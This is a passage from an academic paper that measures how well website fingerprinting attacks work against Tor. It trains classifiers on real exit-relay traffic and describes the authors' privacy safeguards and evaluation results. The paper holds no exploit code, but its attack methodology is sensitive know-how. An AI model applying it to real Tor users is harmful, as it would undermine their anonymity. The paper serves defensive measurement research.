ing server resources. We assume that the connection between
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Figure 2: Our adversary model replaces the training phase in the
traditional model (Figure 1a) with a new online training phase that
uses observations of genuine Tor traffic collected from an exit relay
(or relays) to continuously update the classification model over time.

the exit and the web server is protected with TLS and there-
fore the exit relay can observe the domain but not the full
webpage URL (i.e., it can observe example.com but not
example.com/page.html). An important consequence of
the use of TLS is that multiple subpages will map to the
same domain, which may complicate the WF learning task
depending on how users interact with sites over time.

Second, an exit relay allows the adversary to collect traf-
fic traces for genuine, user-generated website visits. Even if
the website data is encrypted under TLS, the meta-data re-
quired for WF (packet sizes, timing, and directionality) can
be observed by the exit. Using an exit as an observation point
provides several benefits: (i) exit traffic captures a true open
world where users may visit every webpage accessible in the
real world (include homepages and subpages); (ii) exit traffic
is a representative sample of Tor users because an exit will
eventually be used by every Tor client (Tor’s default path se-
lection algorithm selects a new exit for every circuit); (iii) exit
traffic captures the genuine diversity of user characteristics
such as the properties of users’ networks, versions and con-
figurations of users’ browsers, and users’ browsing behavior
including the use of multiple tabs, the wait time between page
loads, the concurrent loading of pages, the subpage first vis-
ited on a site, the subpage browsing order, etc.; and (iv) exits
can differentiate Tor control traffic from website traffic and
thus traces have less “noise” than the traditional WF model.
Training and Deployment: An adversary that is able to col-
lect and label genuine traffic traces from an exit relay (or a
set of geographically distributed exit relays, e.g., to increase
diversity with respect to caching and localization) can then
use this data to train a WF classification model as shown in
Figure 2. This exit-based training phase replaces the entry-
based training phase from the traditional model (Figure 1a).
The observations from the exit relay are used to continuously
update the WF model the adversary uses to carry out an online
attack during the deployment phase (see § 3.2).

The deployment phase in our adversary model is identi-
cal to that of the traditional model (as shown in Figure 1b).
Under deployment, the adversary controls an entry-side ob-
servation point (a Tor entry relay or network-level vantage
point). This observation point is provided access to the WF
model that is continuously trained from the exit observations.
The adversary uses this model for classification.

Exit relay observations arguably provide the most realistic
source of Tor traffic for a WF attack and enable us to consider-
ably improves upon synthetic evaluation methods. However,
training and deploying in different positions may impact per-
formance. First, if the model is deployed on a network-level
vantage point, the adversary will observe a single TLS con-
nection between the client and the entry relay that multiplexes
traffic for multiple circuits and TCP streams. While previous
work has addressed the problem of splitting TLS traffic into
multiple page loads [53], the adversary can avoid the prob-
lem completely if they run an entry relay to gain access to
Tor circuit meta-data. Second, network effects (e.g., network
latency) may cause a website to produce a different trace on
an entry than on an exit. We evaluate the effect of latency on
traffic traces in § 6.4.

3.2 Online Learning
An adversary that runs exit relays as described in § 3.1 has
access to a continuous stream of labeled traffic traces. This
stream permits the training of a WF classification model while
mitigating the negative effects of concept drift. Continuous
online training must be implemented in such a way that the
model can: (i) quickly adapt to changes in the traffic patterns
of websites over time; and (ii) capture traffic traces for web-
sites that have never before been observed. The model should
also precisely label examples that occur infrequently in order
to mitigate the effects of a low base rate for monitored sites
of interest across Tor users [51].

We consider an adversary that uses Triplet Fingerprint-
ing [40] as it is well-suited to our online learning require-
ments: it was designed to work well on limited training data
and to be accurate when predicting websites that were not orig-
inally observed during training. Since Triplet Fingerprinting
is not a contribution of our work, we provide only a succinct
description. See Appendix A for more details.
Triplet Fingerprinting Background: Triplet Fingerprinting
is composed of two models that are independently trained:
(i) a feature extractor; and (ii) a classification model.

The feature extractor is trained from traffic traces using a
triplet of deep embedded convolutional neural networks [38].
The feature extractor learns to convert traffic traces into fea-
ture vectors such that the cosine distance between positive
examples of the same website is minimized, while the co-
sine distance between the feature vectors of distinct websites
is maximized. Once trained, a feature extractor can remain
effective for long periods of time (e.g., years) [40].

The classification model is trained using labeled feature
vectors from the feature extractor. The training procedure is
based on N-shot learning [24, 49] and computes the Mean
Embedded Vector (MEV) for each website using the most
recently observed N examples of that website [40, § 6.4].
Given a new, unlabeled feature vector, a nearest-neighbor
(k-NN) algorithm is applied that predicts the label of the
website whose MEV is closest to the unlabeled vector.
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Adapting to Online Learning: We minimally adapt the N-
training procedure of Sirinam et al. [40] by computing the
MEV over all available website vectors rather than only the
last N examples. This is a safety precaution: our MEV can be
computed and updated without storing vectors for individual
website visits (see § 4). Our adaptation of the WF attack
to online training proceeds as follows: (i) extract a feature
vector from an observed traffic trace using the already trained
feature extractor; (ii) compute the cosine distance from the
extracted feature vector to the stored MEV; and (iii) update the
MEV with the new vector. The recomputed distance is then
used to predict the website label. Websites without any visits
will never be predicted by the model, allowing the adversary
to dynamically update its monitored set without retraining.
Future work may consider an exponentially weighted MEV
or other algorithms [22].

4 Safe and Ethical Data Processing

A primary goal in our work is to evaluate the real world effec-
tiveness of WF without endangering the safety and privacy
of Tor users. Although the adversary model described in § 3
enables us to conduct this evaluation safely, doing so does
involve collecting real world observations from a Tor exit re-
lay. In this section, we describe: (i) how we safely collect and
process Tor relay data; (ii) our risks and benefits analysis; and
(iii) our interaction with the Tor Research Safety Board [48].
We provide concrete details about our safe implementation
and a summary of our safety precautions in Appendix B.
Extracting Relay Observations: To facilitate the processing
of genuine traffic traces, we run entry and exit relays using a
custom version of Tor v0.4.3.5 which we modified (637 LoC
changed) to extract cell traces and website labels for circuits.
Our modifications were developed and tested using simula-
tion [17] to prevent unintentional data leaks.

We use non-reversible pseudonyms (i.e., hashes) as website
labels to avoid leaking information about the actual destina-
tions accessed by Tor users to our WF scripts. The pseudonym
of a website w is a string H(w,k) generated by a determin-
istic pseudonym-producing algorithm H with key k. The
algorithm is such that: (i) for any wi 6= w j the correspond-
ing pseudonyms are different, i.e., H(wi,k) 6= H(w j,k); and
(ii) without knowledge of the key k, it is computationally hard
to recover w given the pseudonym H(w,k). We use the keyed
HMAC based on sha3-256 that is already built into Tor to
generate website pseudonyms.

We also added a new opt-in feature to Tor that facil-
itates private synthetic webpage crawls. After creating an
opt-in circuit through our relays, our crawler sends a special
cell known only to our relays that contains the ground truth
pseudonym for the website accessed by the crawler. This fea-
ture enables our relays to identify which of their observed
circuits were created with clients that we control, and enables
our entry relay to associate our pseudonyms with its circuits.

With our modifications, a relay can export meta-data about
each circuit and cell that it observes through a new control
port event that is emitted when a circuit closes. For each ob-
served exit circuit or opt-in entry circuit, a relay exports
the circuit creation time and the pseudonym of the first do-
main that was resolved on the circuit using a key k that is
known only to the relay. We destroy k as soon as we complete
our measurements (so that the pseudonyms can no longer be
linked to real websites). The relay also exports the timestamp
and directionality of the first n cells that were transferred
on the circuit. Consistent with previous work [40], we use
n = 5,000 in our experiments.
Processing Relay Data: We use stem [42], a Python con-
troller for Tor, to transfer data from our relays through a local
UNIX socket to our WF scripts to avoid persistently storing
the data or transferring it over a network.

Our WF scripts are used to train WF models solely using
exit relay data to which linking Tor users is infeasible (due to
the anonymity protections that Tor provides). As described
in § 5.2, entry relay observations are only used to predict
the website label on opt-in circuits generated by our own
crawler clients, thus ensuring that we are never able to link
traffic traces to users.

Recall from § 3.2 that we use Triplet Fingerprinting [40]
for online learning, which involves feature extraction and clas-
sification models. First, the neural network feature extractor
is trained using statistics about the traffic traces as features.
Second, the k-NN classifier is trained using the mean embed-
ded vectors over all previously extracted vectors, which can
be updated as new traces arrive by storing only the previous
mean and the count. Therefore, we need not (and do not) per-
sistently store any raw traces or individual feature vectors;
they are freed from memory immediately following the online
update process (which takes on the order of a few seconds).
In order to evaluate the performance of the k-NN classifier,
we compute and store for each traffic trace the cosine dis-
tance from its extracted feature vector and the mean vectors.
We train and evaluate the WF models on the same machine
that runs the relays; we never transfer the attack models over
the network, and we destroy the models and distances upon
completion of our evaluation.
Risks & Benefits Analysis: Our safety precautions do not
protect from an attacker that would have access to our machine
while the trained models are stored. Such an attacker could use
the models to perform a WF attack. This risk is an unavoidable
when conducting WF research: the model must be accessible
in order to perform an evaluation. To limit the risk, we secured
the machine running the entry and exit relays following best
practices, and we destroyed all classification models upon
completion. A negative consequence of destroying the models
is that we prevent reproducibility of our results. Eliminating
all data and models that we could share with others will make
it more difficult to build upon our work. Yet, we believe that
this measure reduces some risk to Tor users and websites.
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Another safety precaution with impact in our results is
our self-limitation to only extract entry traffic for opt-in
circuits generated by clients we control, a limitation a real
adversary does not have. Thus, our experiments on entry data
are less realistic than those on exit data. We believe sacrificing
realism in this case is necessary to eliminate any chance
to deanonymize real Tor users. We describe our evaluation
methodology considering this constraint in § 5.2.

Despite these limitations, we believe that our approach
enables us to obtain a reasonable estimate of the true threat
of real world WF attacks, and that our results will help Tor
developers appropriately prioritize their efforts to develop WF
countermeasures. Given that exit relay observation is the only
way to capture the diversity of traffic generated by real users,
we believe that the benefits of our study—which quantifies for
the first time the effectiveness of a realistic WF attack using
real Tor data—outweigh the small risks remaining after our
safety precautions are in place.
Tor Research Safety Board: We contacted the Tor Research
Safety Board [48] prior to measurement, soliciting feedback
on how to make our measurement safer. The reviewers agreed
that “collecting data from the live Tor network, as proposed
in this study, could give novel insights into how effective
Website Fingerprinting is in practice,” that the “risk mitigation
mechanisms look reasonable,” and that the risk is “small” (an
adversary would need to compromise the machine during the
experiment in order to extract models as they are trained).

The reviewers also raised concerns. A primary concern was
that we could learn about sensitive websites that users visit
on Tor. This concern is addressed by our safety precautions
involving non-reversible pseudonyms, which ensure that it is
not possible for us (or anyone) to recover the original domains.
We reiterate that we never record traces nor their features; they
are directly integrated into the WF models.

Another concern involved the collection of genuine cir-
cuit meta-data. Suggestions for further reducing risk were to
extract ground truth labels from a set of volunteers, and to
either combine those labels with the associated traffic traces
or use those labels in a follow-up synthetic experiment. After
discussion with the reviewers we decided not to pursue this
approach because volunteer data would not allow us to suf-
ficiently capture diversity in the main dimensions we aim to
study: Tor user browser behavior, Tor users client diversity,
and organic evolution of websites and webpages over time.

5 Safe Evaluation Methodology

In § 3 we explained that an adversary may collect traces from
an exit relay and use them to train a WF classification attack
model that is deployed on an entry relay. In this section, we
describe how we can safely quantify such a real world WF
threat without actually classifying any real Tor users’ entry
traffic for safety reasons (see § 4),

5.1 Selection of Monitored Sites

Recall from § 2.1 that an adversary is typically interested in
identifying visits to one of a monitored set of websites that it
deems important for political, societal, or other reasons. When
evaluating WF attacks and defenses, researchers generally use
a monitored set that is composed of the homepages of the most
popular internet websites according to the Alexa top sites
list [44]. Although recent work indicates that popular internet
websites also tend to be popular on Tor [28], considering only
homepages and ignoring internal pages fails to capture the
full diversity of Tor traffic and simplifies the WF problem.

We improve the realism in our evaluation relative to prior
work by constructing sets of monitored sites from websites
that are genuinely visited through our exit relay (see Ap-
pendix B for relay details). Doing so ensures that our model
training captures the heterogeneity of traffic in the Tor net-
work, and that our evaluation accounts for the practical effects
of real world traffic diversity on WF performance. In our eval-
uation we use the following three sets of monitored websites:
top-100: Our first set is inspired by previous work that uses
the Alexa top sites list [44]. Let T (x) be the set of the top
100 most frequently visited sites observed by our exit relay
during a 24 hour period starting on day x: on day x we count
the number of visits to each website pseudonym, and we store
the pseudonyms of the 100 sites with the highest counts.

We measure T (0) on 2020-07-03. To understand the sta-
bility of this top-100 set, we repeat this measurement for
14 additional consecutive days (2 weeks). For each day x,
0 < x ≤ 14, we compute the cardinality of the intersection
between the first and x-th day measurements: |T (0)∩T (x)|.
We plot the result in Figure 3a, where each bar is the number
of sites in common with the list on day 0 in subsequent days.
We observe that the top list for each day contains at least
76 of the most visited sites from our initial measurement on
2020-07-03. We conclude that our top-100 set was stable
over the period during which we conduct our evaluation.
sampled-1000: The top-100 sites represent the most pop-
ular sites visited through our relay. Because these sites are
popular, the adversary can collect many traces of visits to
them. However, in practice, the adversary may be interested
in monitoring sites that are much less popular and for which
it will take longer to observe a meaningful number of traces.

To evaluate the classification accuracy when training on
sites of varying popularity, we construct the sampled-1000
sites set as follows. We conduct a 24 hour measurement on
2020-07-11, during which we store the counts for all website
pseudonyms observed by our exit relay. We observe 114,112
pseudonyms, with the visits approximately following a power
law distribution (Figure 3b). During our measurement, 91,468
sites (80%) were visited only once, 10,591 sites (9.3%) were
visited twice, and 3,263 sites (2.9%) were visited ≥10 times.

Let L be a list of the top 100k sites observed on 2020-07-11,
sorted by the observed frequency (i.e., rank). We split L into
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Figure 3: Measurements from which we construct our monitored
sets. (a) |T (0)∩T (x)| is the cardinality of the intersection of the
top 100 most frequently visited sites observed by our exit during
2020-07-03 and the xth day. Every day we observed ≥76 of the sites
from our initial measurement on 2020-07-03. (b) A log-log plot of
the frequency distribution for all 114,112 genuine sites observed by
our exit on 2020-07-11. 91,468 sites were visited once, 10,591 sites
were visited twice, while 3,263 sites were visited ≥10 times.

k = 1,000 bins of equal size j = 100 and choose a random
element from each bin, i.e., choice({Li· j, . . . ,Li· j+ j}) for i ∈
[0,1000). The resulting set of sites forms our sampled-1000
monitored set, which captures an adversary interested in mon-
itoring websites with varying degrees of popularity.
synthetic: To complete our evaluation we need to be able
to generate synthetic website visits to: (i) safely evaluate the
effectiveness of WF models deployed at an entry relay (see
§ 4), and (ii) compare the effectiveness of WF in our adver-
sary model (§ 3) and the traditional model (§ 2.1). When
generating synthetic visits, we avoid selecting just homepages
to improve diversity. We use a more realistic list of 144,337
internet URLs from previous research that including news
sites, social media posts, video content, and other URLs be-
yond the homepage of the respective sites [34]. We randomly
sample 1,000 URLs from the list and crawl them using our
opt-in circuit feature described in § 4. Our exit observed
1,074 unique domains that were consistently accessed suc-
cessfully during the crawl; this set of pseudonyms composes
our synthetic monitored set.

5.2 Phases of Evaluation

Phase I: Feature Extractor Training (Exit Relay): In the
previous sections we described how to safely extract circuit
observations from our Tor relays. We use these observations
to train the feature extractor models (see § 3.2). We follow
the training process from previous work on Triplet Finger-
printing [40], using the top-100 monitored sites set during

the 24 hour training process (see § 6.1). We use the resulting
trained feature extraction models throughout our evaluation.
Phase II: Synthetic vs. Genuine: Previous work that eval-
uates the effectiveness of WF in the traditional adversary
model (see § 2.1) suggests that WF attacks are highly ef-
fective when trained using synthetic traffic generated from
automated browsers. Although the assumptions considered
in previous work are slightly varied, previous attacks were
exclusively studied using synthetically generated traffic.

To better understand the practical value of training using
real world Tor traffic, we compare the effectiveness of mod-
els trained using both genuine traffic observations from our
exit relay and synthetic traffic generated from an automated
browser. We carry out the evaluation using Triplet Finger-
printing, which has been shown to excel when trained using
synthetic data [40], and the feature extraction models which
are trained as described in § 6.1. We train three website classi-
fication models: (i) one trained exclusively on synthetic traffic
(as in the traditional WF model); (ii) one trained on synthetic
traffic but updated online using genuine exit relay traffic; and
(iii) one trained exclusively on genuine exit relay traffic (as in
our online WF model).

To produce synthetic traffic for this evaluation, we use Tor
Browser Selenium [47] to repeatedly crawl the list of 1,000
URLs that were sampled for the synthetic monitored set
described in § 5.1. We crawl the list 10 times using our private
opt-in circuit feature described in § 4 to help us capture our
synthetically generated traffic at our exit relay. Genuine traffic
is extracted from our exit relay during an online evaluation,
additional details and results for which are provided in § 6.2.
Phase III: Train at Exit, Deploy at Exit: We use the data
collected at the exit relay for both training and testing of a
WF classifier (see § 3.2) that will be used to evaluate the
performance of our online WF model under different condi-
tions. To avoid using traces included in training during the
testing phase, we perform the prediction of the pseudonym
corresponding to an observed traffic trace before this trace is
included in the online training process.

While a real adversary would not use a classifier for web-
site predictions on an exit relay, evaluating this configuration
has two advantages. First, it provides a noise-free scenario for
our evaluation: the test traces do not contain any noise that
could be introduced when deploying the model in a different
circuit position than that in which it was trained. In Phase
IV, we compare the distance between traffic collected at entry
and exit relays and find that the difference is low (see § 6.4).
Second, it allows us to safely evaluate the attack against
genuine Tor traffic, which means that: (i) the traffic may come
from different browsers; (ii) the traffic represents a diversity
of user behaviors; and (iii) websites are visited according
to their natural distribution. We note that Tor users always
remain anonymous to the exit relay, and that our evaluation in
this scenario (in § 6.3) uses information about a destination
that the exit could already directly observe before.
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Phase IV: Train at Exit, Deploy at Entry: In a real world
attack, an adversary would use their WF attack model, which
is continuously updated with the traces collected at the exit,
to analyze traffic captured at an entry-side vantage point. We
are not only unable to deploy an attack model on real users’
traffic at an entry for safety reasons (see § 4), but we also
would be unable to evaluate how well the attack performs
because we do not have access to ground truth.

To evaluate the WF performance of models trained at an
exit but deployed at an entry, we utilize our private opt-in
circuit feature described in § 4 to ensure that we collect at the
entry the meta-data for only those circuits created by a client
under our control. We again crawl the list of 1,000 URLs
that were sampled for the synthetic monitored set using
Tor Browser Selenium [47] as we did in Phase II. The entry
relay classifies website traces generated by our crawler in a
closed-world evaluation described in § 6.4.

The use of a synthetic crawler reduces the realism of this
particular experiment, but it is needed in order to: (i) protect
Tor users; and (ii) have ground truth for the predictions being
made by the entry. We stress that the experiment is carried
out using models that are trained with genuine Tor data from
a different distribution than our synthetic data.

6 Evaluation Results

In this section we present the results we obtained in our eval-
uation phases using the monitored sets described in § 4.

6.1 Phase I: Feature Extractor Training
We train the feature extractor, using the Triplet Fingerprinting
methodology described in § 3.2. Following the indication by
Sirinam et al. that the websites used for feature extraction can
be independent of those monitored in the attack deployment,
we train our feature extractor by using the top-100 moni-
tored set, and use it to evaluate attacks against the top-100,
sampled-1000, and synthetic websites.
Collection and Training: We collected exit traffic traces in
July 2020 for 24 hours, recording in memory the traces belong-
ing to the top-100 monitored websites. With our hardware
resources (see Appendix B), we could not afford to train the
feature model on the entire data. Instead, we trained four fea-
ture extractors, by subsampling 25, 50, 75, and 100 traces per
website. Each extractor required between 12 hours (25 traces
per website) and 2 days (100 traces per website) for training.
Feature Extractors Evaluation: We compare the predictive
power of the trained feature extractors. We employ each fea-
ture extractor as the basis for the attack detailed in § 6.3, and
measure its accuracy over 1 week of traffic. Table 1 sum-
marizes the results. Unsurprisingly, the top-100 feature ex-
tractor performance improves as we increase the number of
traces we have per website. However, the best sampled-1000
feature extractor is obtained when training with 75 traces.

Table 1: Feature Extractor Evaluation Results?

Monitored set 25† 50† 75† 100†

top-100 30.0% 54.1% 57.5% 58.5%
sampled-1000 18.1% 49.2% 54.7% 51.1%

? the accuracy of an attacker using the respective extractors’ features
† the number of example traces per website used to train the extractor

We suspect this could be a local minimum, and that better
performance can be achieved with a larger number of traces.

Throughout the rest of our experiments, we use the feature
extractor trained on 100 traces per website for the attacks
against the top-100 websites, and the one trained on 75 traces
per websites for attacks against the sampled-1000 websites.

6.2 Phase II: Synthetic vs. Genuine

To understand the value of genuine data for WF, we compare
the effectiveness of WF classifiers trained on traffic traces
that result from synthetically crawling a list of webpages (as
is done in the traditional adversary model) and classifiers
trained on genuine traffic traces observed at an exit relay (as
in our adversary model). For this evaluation, we used the
top-100 feature extractor that was trained as described in
§ 6.1, and evaluate the ability of the classifiers to predict the
pseudonyms of the websites in the synthetic monitored set.

We evaluate three website classifiers by: (i) training one
model only on synthetic traffic (the Triplet Fingerprinting
strategy [40]); (ii) training one model on synthetic traffic
but update online using genuine exit relay traffic (a hybrid
strategy); and (iii) training one model only on genuine exit
relay traffic (our online strategy).

We deployed the classifiers on our exit relay during 1 week
in April 2021 in a combined online training and evaluation
experiment. The online evaluation emulates a real-world de-
ployment in which the adversary would predict at the entry
relay with a classifier that is continuously updated at the exit.
During the experiment, we first predict the label of a trace (as
the adversary would do at the entry), and then use the ground
truth to improve the classifier model (as the adversary would
do at the exit). During the 1 week measurement we observed
1,178,862 total traffic traces, among which we observed only
183 of the 1,074 domains in the synthetic set.

In this evaluation, we consider a “monitored vs. unmoni-
tored” setting where the attacker tries to predict if an observed
trace belongs to the monitored set or not. We consider small
monitored sets of 5 webpages with at least 100 visits, an ad-
vantageous scenario for the adversary as we explain in § 6.3.
Training on Synthetic vs. Genuine Traces: Figure 4a shows
precision-recall curves for the three classifiers when evaluated
against genuine traffic traces. Here, we consider as the moni-
tored set the 5-site set for which the classifiers yield the best
average precision (see the next paragraph). We observe that
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Figure 4: Precision-recall curves for the attack models; curves are
obtained by varying the classifier’s threshold determining whether a
traces is monitored or unmonitored (binary classification setting). (a)
Compares a model trained on synthetic data (traditional approach),
a model that learns only from real data (our approach), and a model
trained on synthetic that is updated on real data. (b) Compares the
performance of our classifier trained online on real data on various
monitored sets of the same size; the high variance indicates that
monitored sites selection is crucial for successful WF.

Triplet Fingerprinting trained on synthetic data (green line)
performs poorly, achieving an average precision of only 0.03;
this is a significant difference with respect to the performance
measured by the authors on synthetic data [40], for a much
larger monitored set. However, by training the attack on real
data (blue line), the performance improves substantially. In-
terestingly, training the attack on synthetic traffic and then up-
dating it on real traffic (orange line) greatly improves the per-
formance with respect to the traditional synthetically-trained
model. Yet, it does not improve over training exclusively with
real data, thus supporting our hypothesis that synthetic data
does not reflect the real traffic’s heterogeneity: the classifier’s
performance against real traffic will be poor unless real traffic
is used to inform the model.
On the Feasibility of Real World WF: We consider the ef-
fect of the monitored set on the performance of our attack.
We evaluate our attack against ten monitored sets of five sites
each, where the sites are chosen uniformly at random among
those observed. Figure 4b shows the results for the six mon-
itored sets exhibiting the highest average precision. We see
a very large variance in performance, that can range from
0.02 to 0.52 average precision. We conclude that one of the
main factors influencing WF’s performance is the choice of
monitored websites: some websites are easier to fingerprint
than others. This indicates that WF may be a concern in the
real world, but only: (i) for certain websites; and (ii) assuming
the adversary is only interested in a small subset of them. This
finding is further corroborated by our evaluation in § 6.3.

In these experiments, we used a feature model trained on
top-100 because Sirinam et al. [40] argued that the perfor-
mance of Triplet Fingerprinting does not depend substantially
on the extractor’s training set. In Appendix D, we repeat
this analysis for a feature model targeted specifically at the

synthetic monitored set. We observe a slight improvement
in performance, but our conclusions remain the same.
Takeaways: These experiments demonstrate three important
aspects. First, there is a substantial difference between evalu-
ating a model on synthetically generated traffic and deploy-
ing it on genuine, open world, and heterogeneous data. The
state-of-the-art Triplet Fingerprinting attack achieved a high
precision-recall in a fully synthetic evaluation [40] but per-
forms poorly against real data. Second, training a model on
genuine traffic leads to far better performance than training on
synthetically generated traffic (i.e., the traditional approach).
Third, WF is a concern but only for certain websites; it is
therefore possible that simpler WF defenses may work in real
world settings, contrary to common belief.

6.3 Phase III: Train at Exit, Deploy at Exit
Because we cannot obtain ground truth for traffic collected at
an entry relay, we perform the bulk of our evaluation on the
exit relay. In § 6.4, we study the extent to which the results
from this evaluation can be extrapolated to the case in which
the adversary can observe entry relay traffic.

We train classifiers using the top-100 and sampled-1000
monitored sets exclusively using traffic traces from an exit re-
lay; training on genuine traffic is the best performing strategy
as shown in § 6.2. We evaluate the attack in an online manner:
when a new trace is observed, we first use the classifier to
make a prediction; and then update the classification model
based on the trace and its true label. We run this measurement
for 1 week in July 2020, during which we observed 3.9M
traces from 671,149 unique websites.
Performance across Websites: We first measure the aver-
age performance of the attack across all of the websites. The
attacker can either guess one of the monitored websites or pre-
dict “unmonitored” if the adversary believes that the observed
trace does not correspond to any of the monitored websites.
Note that this is a more difficult problem than the “monitored
vs. unmonitored” setting that we considered in § 6.2.

To measure the evolution of the model’s performance over
time, we use instant accuracy as a metric. We define instant
accuracy as the accuracy over a sliding window, i.e., the num-
ber of correct guesses in a window divided by the number of
total guesses in that window. We define the window in terms
of number of websites added to the model because the evolu-
tion of the model depends on the amount of websites that are
observed and not on the amount of time that passes. In our
experiments, we empirically chose a sliding window of 10K
traces as it reduces the variance of the accuracy measurement.

Figure 5 shows the results of this experiment. Since the
classification task becomes harder as more websites are ob-
served and added to the monitored set, we include a reference
baseline denoting the probability of guessing a webpage by
predicting uniformly at random among the set of websites that
have appeared so far in the training data. The decrease in base-
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Figure 5: Instant accuracy for top-100 and sampled-1000 mon-
itored sets. For reference, we report the likelihood of guessing a
website uniformly at random among the monitored websites that
have been observed up to a certain point (dashed line). The plots on
the left are zoomed-in representations of the first 1k traces.

line accuracy is pronounced in the beginning, but it stabilizes
near zero after a few thousands websites are observed.

We observe the opposite effect in our attack. In the begin-
ning, when the models have incorporated few samples per
website and the adversary mostly observes new labels, their
error is large. This error decreases rapidly as the adversary
gathers enough samples for the monitored websites. Once the
models have incorporated enough traces and become stable,
the instant accuracies are consistently around 60%.
Per-website Performance: Average accuracy provides a first
degree of intuition about the protection that websites enjoy
overall. However, it is not representative of the protection for
individual websites [33]. We quantify this protection for each
website w as the number of traces from w that the adversary
misclassifies; we obtain a false negative rate (FNR) for w by
normalizing this count by the number of times w is observed.

The histogram in Figure 6 represents the distribution of
FNR across individual websites. For the top-100 dataset, the
adversary has an FNR of less than 25% for 45 websites. Yet,
for 6 out of the 100 websites the FNR is very large: >90%.
This confirms the results by Overdorf et al. that some websites
are more at risk than others [33], and reinforces the belief
that defenses should treat websites differently (e.g., adding
different amounts of padding to each [8]).

We observe substantially different results when considering
the sampled-1000 monitored set. In this case, the attacker
incorrectly predicts most of the websites (the FNR is greater
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Figure 6: The histograms represent the number of websites for which
a certain level of FNR is attained; websites are limited to the ones we
observed in our evaluation from the top-100 and sampled-1000
sets (total count: 95 and 307 respectively).
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Figure 7: Influence of number of traces (x-axis) on FNR (y-axis).
While having a significant number of samples results on better perfor-
mance, the adversary can obtain good results even with few traces.

than 75% for 262 websites). This may seem to contradict
the good average accuracy results shown in Figure 5, and
reinforce the need for individual web performance analysis
when evaluating WF attacks. The discrepancy is due to a few
websites that are both (i) very frequently visited, and (ii) easy
for the attacker to predict; these websites largely inflate the
accuracy on average. We discuss other performance metrics
that avoid this bias in the results in Appendix C.
Dependence on the Number of Training Traces: We now
study whether the success rate of our attack against a website
is determined by the frequency with which traces of that
website are observed.

Figure 7 plots the FNR per website according to the number
of available traces of the site. Unsurprisingly, having a large
number of samples for a website results in less error (lower
FNR). However, even when the attacker has few traces, they
can achieve a low FNR for certain websites. This is consistent
with the evaluation by Sirinam et al. [40], which showed that
the Triplet model learns with few examples.

The results in Figure 7 also confirm our hypothesis for
the perceived discrepancy between average accuracy and the
adversary’s error distribution for the sampled-1000 dataset.
We observe an outlier pertaining to sampled-1000: there is
one website which has more than 15k traces and for which
we observe an almost perfect success (0% FPR). This outlier
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Figure 8: Instant accuracy for the top-100 and sampled-1000 mon-
itored sites, shown for different sizes of the monitored set. Set sizes
range between 1 and the number of individual websites observed in
our experiments for top-100 and sampled-1000.

by itself boosts the average accuracy. We suspect this website
is related to periodic Tor Browser update checks, but we are
unable to confirm due to our safety precautions (see § 4).
Dependence on Monitored Set Size: The previous analysis
shows that the choice of the websites to monitor strongly
affects the attack’s performance. We now investigate how the
attack’s performance is influenced by the monitored sets’ size.

We evaluate the attack for various sizes of monitored set by
subsampling websites uniformly at random from the original
sets (top-100 or sampled-1000); we measure the perfor-
mance considering the selected websites as monitored and
the remaining ones as unmonitored.

We show the results in Figure 8. As expected, the attack’s
performance is heavily impacted by the size of the monitored
set. When the set is small, the adversary has great perfor-
mance, up to 80% for a monitored set of 25 websites and
almost perfect when the adversary is only interested in 1-5
websites. We conjecture that this is because when the set is
small, the chance that other websites in the open world would
look similar decreases. As the monitored set grows and be-
comes heterogeneous, the probability that unmonitored traces
look like one of the monitored websites increases, resulting
in a higher error rate.
Monitored vs. Unmonitored: So far we have considered a
setting where the attacker is interested in predicting which
monitored website a trace belongs to among the traces clas-
sified as monitored. However, the attacker may only be in-
terested in whether a network trace represents a monitored
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Figure 9: Precision-recall curves for both the top-100 and the
sampled-1000 monitored sites, in a monitored vs. unmonitored
scenario. We vary the size of the monitored set, making sure that
smaller sets are subsets of the larger ones.

site or not. As we did in Phase II (§ 6.2), we adapt the attack
to the monitored vs. unmonitored setting; this attack predicts
“monitored” every time a website from the monitored set is
predicted, and “unmonitored” otherwise.

We evaluate the attack’s performance with respect to var-
ious monitored set sizes. To avoid penalizing the measure-
ments done for some monitored set, we create nested subsets
of monitored sets; for example, the monitored set of size 5 is
a subset of the monitored set of size 25, which is a subset of
the monitored set of size 50, and so on.

Figure 9 shows the precision-recall curves for the attack.
We observe that the attack is reasonably effective against the
top-100 set; for example, the average precision reaches 0.83
for 1 monitored website and 0.82 for a set of 5 monitored
sites. However, it quickly drops for larger monitored sets. In-
terestingly, we observe that the attack’s performance does
not decrease monotonically w.r.t. the number of monitored
websites. The reason is that if a highly fingerprintable website
is added to the list, then it will help improve the performance.
When repeating this analysis for various same-sized mon-
itored sets in preliminary experiments, we also observed a
great variability; we therefore suspect, as we observed in § 6.2,
that the choice of the websites to monitor is the determining
factor in WF attacks.

When we consider the sampled-1000 set, the results again
change significantly: the attack barely achieves a 0.1 av-
erage precision and would be largely uninformative to an
adversary. As explained in the previous sections, the main
reason of discrepancy of performance against top-100 and
sampled-1000 may be the fingerprintability of the web-
sites in sampled-1000; indeed, it was shown that some
websites are more fingerprintable than others [33], which
may be the root cause of good/poor performance of any at-
tack. Another partial explanation may be that we used a fea-
ture model trained on top-100, even for the attack against
sampled-1000; in Appendix D, we show that this may have
a marginal impact on the attack’s performance.
Takeaways: Our evaluation results confirm that WF may
not be practical for large monitored sets (e.g., >5 websites),
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Figure 10: The distance between two traces of the same website
from the same exit is similar to the distance between the same web-
site trace observed at the exit and entry. The shaded area represents
the standard deviation.

even in a monitored vs. unmonitored setting. Our results
further indicate a strong dependency between WF success and
fingerprintability of websites: some websites are inherently
easier to fingerprint than others.

Note that due to the privacy requirements in our experi-
mental design, we cannot study which characteristics make a
website more or less fingerprintable; previous work covered
some of them [33], and we encourage future work to run a
comprehensive analysis of website fingerprintability aspects
within our threat model.

6.4 Phase IV: Train at Exit, Deploy at Entry
Because of the lack of ground truth, our previous experiments
considered an attacker who both trains and predicts using
traces observed at an exit relay. In this section, we quantify
the extent to which the results of our previous evaluation on
the exit relay can be extrapolated to our threat model in which
a real-world attacker trains their classification model at an
exit relay and then deploys it at an entry (see § 3.1).

As described in § 5.2, we crawl the pages in the synthetic
monitored set 10 times each (pinning our entry and exit relays
as the first and last circuit hops). Our crawl results in 922
websites for which we have ≥10 observed traces. For each
website, we record the resulting traces observed by our entry
and exit relays. We use the recorded traces to train website
classifiers, and consider an attack using the feature extractor
trained at our exit relay on the top-100 monitored set traces.
Trace Distortion from Entry to Exit: To ensure that the re-
sults in the previous section hold when the attack is deployed
at the entry, the traces at the exit and the entry should have the
same characteristics. In other words, distortion of the traffic
traces when traversing the Tor network should be minimal.
This way a page load observed at the entry relay would not
